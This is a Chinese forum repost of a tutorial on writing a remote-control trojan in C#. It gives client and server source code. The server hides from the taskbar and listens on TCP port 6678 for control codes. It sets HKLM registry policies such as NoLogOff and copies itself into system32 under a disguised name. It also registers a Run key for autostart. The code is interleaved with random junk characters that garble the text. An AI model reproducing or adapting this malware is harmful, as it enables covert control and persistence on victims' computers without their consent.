找回密码
 入住遨海湾
搜索
网站解决方案专享优惠-3折上云
查看: 980|回复: 0

[转]用C#实现木马程序(分析)

[复制链接]
发表于 2004-12-24 14:19:00 | 显示全部楼层 |阅读模式

登录后查才能浏览下载更多咨询,有问题联系QQ:3283999

您需要 登录 才可以下载或查看,没有账号?入住遨海湾

×
  前一段时间我写了一个关于用C#木马的程序(程序见前),抱歉没有写分析,让大家难过了,现在补上:)。 % z: C j/ @0 W 前言: ; U( I# P( l* F& ~/ f; w 我的技术不是很好,如果你是为了学习木马技术也许没有什么启发,这篇文章为了给学习C#的朋友。 : g# J4 q5 a- g2 j3 V& ]$ s7 t 木马的介绍:(参照黑客防线2000-2001精华本中的木马原理揭秘) 1 \) r5 e2 U/ n1 `5 Y2 ~; X g 因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。 / }1 O: l. M4 _1 k6 e 使用的技术: 8 l ]/ P0 Y4 R! R 控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。 + L% K& ^0 G+ K& J1 }' h- }( w9 @7 ]控制端开发: & M5 b- S0 l0 E; a# r 控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。 ( B* G Z% C+ H控制端的开发: 6 k2 W" i! ]# O3 `1 e) S控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。 6 j% ~& E2 W& c+ j1 连接请求 7 l+ E& `4 W7 @' {- l8 e使用了.NET类中的 System.Net.Sockets.TcpClient类, 2 J. j' U1 z: Z: V' Z TcpClient(string hostname,int port) 3 J. q. K3 y' ]0 E Hostname 是要控制的主机名称,当然你也可以用IP地址。 9 }/ N( ~ R, l6 H- yPort是端口。 9 r! Z @5 M4 ?// System.EventArgs包含事件数据类的基类 ) q$ t/ E' ?6 | k, Uprivate void button7_Click(object sender, System.EventArgs e) , k- e% ` z. _ { & @# B. f3 i8 ~//记录操作,在richTextBox控件中增加操作信息 : \& \3 b0 p2 L: O# ?richTextBox1.AppendText("请求连接" +textBox1.Text +"\r"); K$ ?' _ Y: \0 M; l7 `: @int port =6678; ) Z4 T8 e0 p7 ^5 i' ?( f* m& U7 Mtry " w3 W8 [# z& e6 d, G { - K7 w5 R$ T# g0 D, Q! M r //初始化 TcpClient 类的新实例并连接到指定主机上的指定端口 7 K# i3 |+ u# C% L. [; {9 Q client = new TcpClient(textBox1.Text,port); ; a0 J4 o9 @) f" G; l } $ \! K/ K! _5 V" pcatch - X9 J: p V& c' ?{ ' i R" \ y6 R6 cMessageBox.Show("服务器不在线!确定是否输入主机名称."); 0 r( G! q+ v7 j0 r9 ~ L/ q richTextBox1.AppendText("服务器不在线!确定是否输入主机名称."); # W. R5 s+ i7 J( q } ( l, i6 `' Y3 B: q2 a# _, v}//private void buttion " A# g$ i4 v" C# n( V 2测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 2 G4 f7 X" U8 _1 @//提供网络访问的数据流 4 L$ C9 B2 {- q& G//private NetworkStream stream; 6 g9 I: p) X* u+ [+ U' q' P# I 代码如下: ' m! [: E5 d, \6 ]. N, tprivate void button8_Click(object sender, System.EventArgs e) ! o! d' s; G6 a% i3 m$ H; r! k{ ; A1 }# ?- y# t: x //纪录操作 / v. [: Q, ?+ S1 J5 B! l1 V7 j8 h richTextBox1.AppendText("测试连接" +"\r"); / U/ }! @$ j* T& I try ; I( t& i0 A" K5 U; T { / F2 ?8 \1 A9 I9 a* w3 H; N2 ^' B# k1 w6 g1 t stream = client.GetStream(); & ~% H" v% x* O! q if(stream.CanWrite) ( Y- Z8 m% t# u( q7 `3 s$ p, A { ( [9 F/ r T E //发送控制码 ) p! p* I3 C7 d1 G) l: Wstring control = "jiance"; 6 J% k: |* C9 o9 f0 k; l- X* obyte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray()); ( [% ?1 }- l- J Y; s! P+ f6 ? stream.Write(by,0,by.Length); + r4 S% n. |" D6 t1 o) ~8 R: |2 T9 b //下次使用 5 ]: X) C- a$ r$ ? stream.Flush(); ! m9 a. ^7 ?' x: G' D; F( V //启动接收反回数据的线程 ! \- M5 x8 t# S9 W5 o9 [ //receive是线程执行的函数,见后面的分析 1 J$ \$ j" ~: L; a m+ ^% h" L6 j; ~" g threadReceive = new Thread(new ThreadStart(receive)); 3 T8 z% Q+ r0 u9 Z3 }7 m3 \5 q threadReceive.Start(); 9 ]' U/ X" d$ h4 o2 \/ X } ; @" I, Y f$ {: x3 U( b# } } : }+ N5 H+ l" w4 `) [2 e+ R' u8 y catch(Exception ee) ; d# u7 @* @" J, E, y{ 9 p5 ]3 O! `; { richTextBox1.AppendText (ee.Message+"\r"); 8 j# d0 N+ `1 m* Y9 a3 d MessageBox.Show(ee.Message); 8 U' L0 D; K' r3 f- K, c } 0 C r4 Q# O! k} $ c% |) r0 V- F3 e% F 3控制生效的代码 1 y1 Y: A! W' hprivate void button9_Click(object sender, System.EventArgs e) $ F; q7 T( }- z! O% b { . O% X$ l' t( ]4 y$ b2 w: F //这里是确定要发送的控制码,RadioButton是窗体控件 ) e, r O3 k0 B8 F8 R" @if(radioButton1.Checked){ control = form2.zhucex;} ) b5 E) j4 D& t- S. i1 h- h, l else if(radioButton2.Checked){ control =form3.zhuces;} 0 j; O# K$ \8 t6 o- A& ^ else if(radioButton3.Checked){ control = warring;} / I. N2 u/ \) A8 X else if(radioButton4.Checked){ control =suggest;} & q- I9 [* w( T4 e1 d/ y# a else if(radioButton5.Checked){ control =form4.mumawe;} - A$ G" n8 c3 P6 F) F$ Welse if(radioButton6.Checked){ control =drop;} 8 ^% @5 N& b' z+ V3 g if (control =="000000") 3 H, F5 K+ q# o4 S, _1 S{ ' b9 m* k0 w, z6 t9 g3 } MessageBox.Show("你没有输入任何控制目标!不发控制信号"); ) g4 [; H- T6 C, [0 \4 I WrichTextBox1.AppendText("你没有输入任何控制目标!不发控制信号"); / c3 r X: ~4 k1 Y! D# F3 {1 d} & H) ^8 p& T8 L! R5 c5 B* ] else if(control != "000000") " o/ D; S: O% i# T { ' f$ X# x( ?2 t3 g! p' itry 2 }) j8 U. I* o& r0 R, g { # s1 o* V4 c# y T //记录操作 2 e) k3 x8 x# `" f ^4 KrichTextBox1.AppendText (control + "正在试图控制,等待回应......" + "\r"); 8 D9 J% S, @' F0 j) Ustream = client.GetStream(); 6 {4 F7 \( f2 T) y$ U: \if(stream.CanWrite ) ) Y9 Y9 V/ R' Z3 a) | { + x9 G- F: F* @8 Vbyte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ()); 6 ~% I; g, ]: D7 Z stream.Write(by,0,by.Length); $ c1 T. R2 T( `0 I# O stream.Flush(); 3 L2 W" a8 K! U" E3 O! }threadReceive =new Thread(new ThreadStart(receive)); 5 M- x7 C u$ i' e. z6 G6 V/ O threadReceive.Start(); ; R! } n! D% s N& I6 h }//endif ' t5 |0 t# k6 V1 {4 P" p, P0 Y- D }//try 1 _+ C# h' Z5 v- J# ccatch 1 Y$ e2 a8 \* X& I! C { ) f2 T% c( M+ Y% ^+ @ richTextBox1.AppendText("服务器未连接1控制无效!" +"\r"); : k; \$ S8 z o5 ]' A MessageBox.Show("服务器未连接1控制无效!" +"\r"); 0 M9 O( B* x- a) c6 m& V/ ~7 p} # a/ @* V$ c5 ? F }//else if ' ~. ^; x+ o t4 x+ v3 N6 c: P } ! u4 P4 ^# J9 B. W9 { . V# `1 Q; ^$ U+ {4线程执行的函数 " a% D2 G4 h2 R* k D. zprivate void receive() 9 _- o9 t: A$ d$ E& h- ` { 5 ]' t! z2 l4 \5 [5 N" T //设置读取数据的空间 % P; n+ w, V) m5 O byte[] bb = new byte[3]; , j( J) b; `1 Z$ b4 j3 A6 `# @* k//读取3个字节,i为实际读取的字节数 ( i3 G8 S0 r! `6 }( O5 l% ? `" F int i = stream.Read(bb,0,3); ) }/ p1 i8 T* |7 \; U; F- ?//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb); + ^6 _3 B* u1 m! ~ string ss = System.Text.Encoding.ASCII.GetString(bb); 3 S; J/ W2 E+ A- p; |: Y% S7 j //hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功 3 Y- s/ d- }* k% H' V3 A8 Tif(ss=="hjc") . ~- x6 e+ e1 W$ b{ 4 u' g0 H. R" a4 M* H9 }3 | uMessageBox.Show("连接成功"); 1 {) `. C( l$ `4 h9 J" S4 r richTextBox1.AppendText("连接成功"); , v2 N1 T. y0 G+ M! o: R* _ } ! z: S4 b5 h, b" F if(ss== "hkz") ' `4 }( j) `2 d* k9 `0 g/ ]{ * P( I- o2 g" SrichTextBox1.AppendText(control +"控制成功"+"\r"); % B7 L2 P( P9 ]- t( W: h2 `" B5 n- ^ MessageBox.Show(control +"控制成功"+"\r"); # g _! t. n, h0 t9 u} ) o0 C4 D2 Z, E4 L} # ^0 e7 H6 a0 B2 E* o3 w- `服务端的开发: 8 y0 ~/ k2 y: f% f% K* T5 Q; s8 B要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍: ' l& l& X, y( |) C2 g7 {( [6 p5 a* h! }1 e 1.在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下: # B' ] c% w9 z, o$ O* J' Q private void InitializeComponent() $ s5 {3 G9 K+ o; d' F, } { 9 {* z |5 U4 ^, Q( f6 S // $ x; R6 X! s- G! \// Form1 2 `8 Z3 Q0 ?. F; r( p* k // $ x; o& n, z5 D//窗体显示的起点和大小 ( t" z5 n" C% Y! a. Cthis.AutoScaleBaseSize = new System.Drawing.Size(6, 14); ! z5 c( x, X4 |8 b: v this.ClientSize = new System.Drawing.Size(368, 357); 0 C/ w6 |! z0 I. E T //窗体名称 : T8 |# O7 i4 v4 L3 P s# Lthis.Name = "Form1"; # Y1 i/ F1 o4 [( d$ Z2 c$ N6 ^/ c- S//设置属性让它后台运行 0 W7 l- O7 j0 @2 {+ A! T; s$ d this.ShowInTaskbar = false; 3 C( \3 e3 n+ x; ? l4 ^ this.Text = "Form1"; S% Q" R0 P4 b# P0 ~' E$ bthis.WindowState = System.Windows.Forms.FormWindowState.Minimized; ) y4 z& h4 }* p3 t2 B} 2 ^' f9 t+ b, y( r& z6 | ` 2. 控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下: 7 Q7 W5 J* I- s& n& u public Form1() //窗体的构造函数 3 i& N2 Q. F) |4 j9 D { 3 u4 T A5 f3 Z // 8 H. O) ?8 t1 q4 m7 s6 z// Windows 窗体设计器支持所必需的 7 l) [8 O2 e" u- _& E- ^ // 1 A3 C1 i) c0 ^& k. s, N2 _ InitializeComponent(); ; E8 F r: M$ x1 I+ n8 v2 y + g- c9 g g6 M' R% r: y// 6 j" j' W: T' r // TOD 在 InitializeComponent 调用后添加任何构造函数代码 ' W; i* v1 v* ~7 l //加入你的侦听代码 : Z" I4 R4 P( x7 ^" |2 `0 i' z//端口你可以自已设定,我使用了固定的端口 " O( q. n; l* @8 r7 v int port =6678; 7 m% r+ j3 R% Y! ` //System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的 & t% F: @& u0 T4 `# _8 l listener = new TcpListener(port); $ ]8 k/ a& _( H //启动侦听 ) X) {! }# F4 L% H( Clistener.Start(); 3 N) B" F: _ I) y. I //增加接收控制码的线程,如果要停止线程可以用 Thread.abort() 4 k3 k" A: w+ w2 @2 D+ g//reControlCode 是线程启动执行的函数,此函数根据接收的控制 , M; i1 |: I3 j% u) ^: i; k7 Z //控制码选取合适的注册表修改函数 . {6 M" b. J7 L7 g6 k8 e4 jThread thread = new Thread(new ThreadStart(reControlCode)); 8 h& c. F* o5 A& Q( E0 Q8 @thread.Start(); " l1 y& {; I8 c6 V1 |} $ K5 W: W9 H: ]& W) G& R1 T; g v6 PreControlCode函数如下,完整代码见程序 ) w/ \. ?5 p" H. |3 k9 Y) b7 |3 z: A fprivate void reControlCode() $ J. h- G8 {1 V { % `1 u# s) C# W. i//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求 , r- R9 ^7 {% l" o; h socket = listener.AcceptSocket(); M" K4 d4 p K, X" \0 k' g$ Q //如果连接成功执行 . G6 c8 C0 E% S6 p; o6 h while (socket.Connected) 5 M( z" z% t H) C2 p4 I X2 ^8 W{ 5 O8 z# _6 G2 g //接收控制码 7 B$ d* j# q( y$ z; g byte [] by =new byte[6]; g/ m$ S) i4 V5 E* x$ qint i = socket.Receive(by,by.Length ,0); & s; p) X0 @, C9 N+ Mstring ss = System.Text.Encoding.ASCII.GetString(by); % m' O3 i/ y+ C& \ //根据控制码执行不同的功能 ( u2 @/ i4 @$ T* L& i5 i o+ [1 z, ^* {9 ~( G3 O//修改注册表加入编码 ' I0 {0 N, v! I% }( [: M& n1 }) k switch (ss) 5 z) N7 u: n' p: Z- N& R { + H, E4 G4 C* I/ W9 X+ y Lcase "jiance"://测试连接,返回测试信息 9 @. A5 \1 Q) t. j0 L string str ="hjc"; - f" U5 S" v* `' n byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str); " O: ^+ D# y2 c9 U socket.Send(bytee,0,bytee.Length,0); 0 G% _( J; R% g+ e' P3 h( F$ Kbreak; . S4 _" b) r/ _case "zx1000": % ]4 O- d4 C# i; w1 S/ a; N//修改注册表函数,自已定义,见下面分析 * C! \2 f" @( R* _UnLogOff(); ; H& K, |& v% u2 @: m2 H! x //返回控制消息 $ \: i5 e* D ~ q/ G6 h retMessage(); 7 [$ `# m2 Q8 j/ Qbreak; 5 J$ ]$ @0 g% B) R% v2 B. O" r( t' u case "zx0100": 7 g+ N9 h' Y# v0 z# {//修改注册表函数 ( N/ g" j8 z: B5 i UnClose(); 6 A- U7 c1 A5 |8 }6 c% @ //返回控制消息 & s/ s' V4 ?4 B" x; \2 P1 rretMessage(); + w$ D. K/ H O6 r+ b" hbreak; x. Q( a4 b6 c, V3 d9 @, A0 S5 _ //重复的case功能与前面一样,略掉 3 f* P C' _! `/ w; \. U default: 7 z/ z9 m% x- Q- Q6 ~; I. Lbreak; : S% Y4 `. u+ t& l+ x9 b( R}//case , E' M) X5 c8 A3 } }//while ^- a" `5 I3 j } //private void reControlCode , O$ I9 G( j6 `5 b2 S3.C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer 4 |- I1 p0 k. Q3 q( L3 L 下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改: % U; F* X: s- ]private void UnLogOff() 9 C7 |4 \% D- j: {; M { - n& `& F( U; p5 }, \# G6 G- w8 V //得到主机的注册表的顶级节点 3 C! R W; g/ c: L6 ~Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine; & X ]# U$ t: b% G% }/ B//设置一个注册表子键的变量 ' _+ _1 a7 E& p0 v) G0 }7 wRegistryKey key1; 0 K3 f' h6 W- w* Atry $ ^8 b9 S4 j J) u1 O" b3 y{ : d( r8 U4 b' X1 s7 y7 ^ //函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键 ! q2 R! ^3 d% b0 u4 [7 C) i //registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改 - e4 ]/ c( P7 }' C5 N8 ~key1 = ) b. G \2 i, p1 Z7 y rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true); : Y! j3 J% m, ]8 [ //设置子键的键名,和值 1 a7 P7 w; D; K9 a key1.SetValue ("NoLogOff",1); 9 l) Y) }' q: N# {3 f5 i4 h//关闭打开的子键 ' o( I4 x) F% D6 `- [! { key1.Close(); - [( [; n- z' M //警告字符串设定 + j& c/ s' R. m, bmystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!"; - E% G; v6 L5 z1 j4 W } , T9 y8 D: U, j- J# e1 _catch{} * J. U8 _" \% \' ?8 [$ V+ E ~//如果不存在自已建立 4 {! M* Z8 Q+ [) I8 F( p& Wif(key1 ==null) $ }' |: m0 o5 t: J. Y{ 2 ~9 U# S; b. q( p, U e+ z; C try . L4 i, a& p! P$ S0 }+ z{ & J% K+ ^3 f% a- L //使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键 % T) x/ V I' W4 T; v. V RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer"); ; [8 J) m$ J: T, t1 i2 Y( L0 E gkey2.SetValue("NoLogOff",1); ( L4 M" h s+ G& lkey2.Close(); * z; `; Z0 e: S' S1 \- x% u, ?5 Emystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!"; 0 a8 ]) I# @- b8 k- X* S} . s" ]3 Q8 ?4 M0 } catch{} ]: a+ b# N8 }/ @ } ! e. f- _% w) t} . L$ d2 r5 ^" L) L7 H% r. ?- _ 4.在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。 S$ T8 D0 f4 H$ Z. W* C# Lprivate void moveCC1() 6 n; x) Q1 y! ?4 u. S { $ ~. ]* R- j& ~, m% c) W) ~$ K( d; G try - H2 o+ v$ s% A1 p% e1 w* g{ 5 j; \5 U$ p+ m4 N3 N- E1 o' S //函数File.Move(string sourceFileName,string destFileName)起移动文件的作用 ( t) C) [+ ? k4 [% G! i//sourceFileName为要移动的文件名,destFileName为文件的新路径 H0 y# J/ m/ n% l File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe"); L- o- y: ]+ r} 9 }( n. P( m4 E0 X1 X% K4 H; Kcatch {} & A$ e) ]5 h# B- B, T //将新移的木马程序设为自启动.分析和前面一样 ; m% A S: ~& F8 N6 g2 ftry / p( o9 ?. c' Q0 }: B* S9 C { ' J$ `- H# o; A* h0 n9 E, s! J0 ykey1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true); , }5 W4 k% n! ~9 d$ t key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe"); ) T c3 {8 w6 Q/ q; [4 z g key1.Close(); 3 m! E1 Z+ Q( G7 i } ' @2 ~1 z/ `+ f" q1 ?: J catch{} % O$ {8 o3 O" b. X1 g if(key1 ==null) ( j1 t8 s8 Z6 n' @% {" `4 w. s { ; G& o' Z6 d) v4 g, P% Qtry ! O' }$ f) U+ E# ^" z" }8 Z{ 9 L2 Y9 p. x# B) F5 x% x0 j/ `6 X, D RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); - [( q+ l' K7 \. `& b key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe"); 2 o" T0 Q5 l* h9 R: Kkey1.Close(); ' t* R( x t/ N! A$ e( L% q/ c} 6 ?+ ?) U* J4 }3 Y catch{} 3 Y' V* j9 U& n- V } 8 Y$ r6 X( j9 N8 _/ x* r* S } //moveCC1()
遨海湾-心灵的港湾 www.aosea.com
您需要登录后才可以回帖 登录 | 入住遨海湾

本版积分规则

网站解决方案专享优惠-3折上云

QQ|手机版|小黑屋|遨海湾超级社区

GMT+8, 2025-10-25 03:51

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表